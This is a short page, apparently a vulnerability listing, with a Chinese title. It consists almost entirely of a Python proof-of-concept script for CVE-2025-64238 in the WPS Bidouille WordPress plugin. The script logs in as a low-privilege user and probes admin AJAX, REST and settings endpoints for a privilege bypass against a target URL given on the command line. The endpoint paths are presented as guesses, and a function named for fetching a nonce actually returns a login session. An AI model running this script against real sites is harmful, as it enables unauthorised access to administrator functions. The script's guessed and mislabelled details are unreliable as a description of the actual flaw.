CVE-2025-64238 WordPress WPS Bidouille插件越权访问漏洞

# CVE-2025-64238 PoC - WPS Bidouille Broken Access Control # Author: Security Researcher # Target: WordPress with WPS Bidouille plugin <= 1.33.1 import requests import sys TARGET_URL = "https://target-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wp_nonce(url): """Get WordPress nonce for authenticated requests""" login_url = f"{url}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return None return session def exploit_access_control(session, url): """Exploit the broken access control vulnerability""" # Target endpoints that should require higher privileges # These are common WPS Bidouille admin endpoints endpoints = [ '/wp-admin/admin-ajax.php?action=wps_bidouille_admin_action', '/wp-json/wps-bidouille/v1/admin/settings', '/wp-admin/admin.php?page=wps-bidouille-settings' ] print("[*] Testing access control bypass...") for endpoint in endpoints: target_url = url + endpoint response = session.get(target_url) # Check if we get admin-level response instead of 403/401 if response.status_code == 200 and 'admin' in response.text.lower(): print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)}") else: print(f"[-] Protected: {endpoint} (Status: {response.status_code})") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") session = get_wp_nonce(TARGET_URL) if session: print("[+] Successfully authenticated as low-privilege user") exploit_access_control(session, TARGET_URL) else: print("[-] Failed to authenticate")